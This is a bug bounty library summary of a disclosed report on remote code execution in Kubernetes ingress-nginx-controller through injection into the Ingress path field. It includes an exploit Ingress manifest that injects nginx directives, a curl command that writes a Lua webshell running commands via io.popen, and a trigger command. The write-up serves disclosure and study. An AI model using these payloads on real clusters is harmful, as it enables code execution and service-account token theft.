# RCE  on ingress-nginx-controller via Ingress spec.rules.http.paths.path field

Ingress path field injected raw into nginx.conf, letting a user with ingress-create rights write arbitrary files and include a Lua webshell for RCE on the controller pod.

- Payout: $2,500
- Severity: high
- Program: Kubernetes
- Found by: ginoah
- Disclosed: 2023-10-26
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/1620702
- Library page: https://bugbountylibrary.com/r/h1%3A1620702
- Tags: area:cloud domain:cloud domain:web impact:privesc impact:rce kind:bounty platform:hackerone sev:high tech:kubernetes tech:nginx technique:chained technique:source-review vuln:command-injection vuln:rce

**Target:** ingress-nginx-controller nginx.conf generation via Ingress spec.rules.http.paths.path
**Root cause:** The path field is embedded into the generated nginx.conf without adequate sanitization, allowing newline/brace injection of arbitrary nginx directives (log_format, access_log, server, location, include).
**Steps:**
1. Deploy kind cluster and install ingress-nginx v1.2.1
2. Apply Ingress with path containing `\n` and `}` to break out of location block, injecting `log_format exploit escape=none $http_x_ginoah;` and `location /z/ { access_log /tmp/luashell exploit; }`
3. Send `curl localhost/z/ -H 'host: x.x' -H 'x-ginoah: <lua payload>'` to write attacker-controlled Lua into /tmp/luashell via access_log
4. Apply second Ingress injecting `location /z/ { include /tmp/luashell; }`
5. Trigger RCE with `curl localhost/z/ -H 'host: x.x' -d 'cmd=id'`
**How found:** Recognized that Ingress path is templated into nginx.conf; hypothesized newline/brace injection could escape the location block and inject arbitrary nginx directives, then chained file-write via access_log with include to achieve Lua RCE.
**Exploitation:** Attacker with ingress create/update RBAC abuses path injection to first write an arbitrary file (/tmp/luashell) using log_format+access_log, then includes it as nginx Lua config to execute OS commands via io.popen, gaining code execution in the controller pod and access to its service account token.
**Escalation:** RCE on controller pod yields its SA token for further cluster actions, traffic eavesdropping, rule modification, and DoS.
**Insight:** When a controller templates user input into a config file, look for newline/brace breakout to inject directives; access_log with a custom log_format is a file-write primitive, and nginx `include` of a Lua file turns file-write into RCE.

## Proof of concept (copied exactly from the original report)

**Malicious Ingress path injecting nginx config to write file**

```
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: webexp
spec:
  rules:
    - host: "example.com"
      http:
        paths:
          - path: "/x/ {\n
            }\n
          }\n
          log_format exploit escape=none $http_x_ginoah;\n
          server {\n
            server_name x.x;\n
            listen 80;\n
            listen [::]:80;\n
            location /z/ {\n
                access_log /tmp/luashell exploit;\n
            }\n
            location /x/ {\n
          #"
            pathType: Exact
            backend:
              service:
                name: not-exist-service
                port:
                  number: 8080
```

**Curl writing Lua webshell via access_log**

```
curl localhost/z/ -H "host: x.x" -H 'x-ginoah: content_by_lua_block {ngx.req.read_body();local post_args = ngx.req.get_post_args();local cmd = post_args["cmd"];if cmd then f_ret = io.popen(cmd);local ret = f_ret:read("*a");ngx.say(string.format("%s", ret));end;}'
```

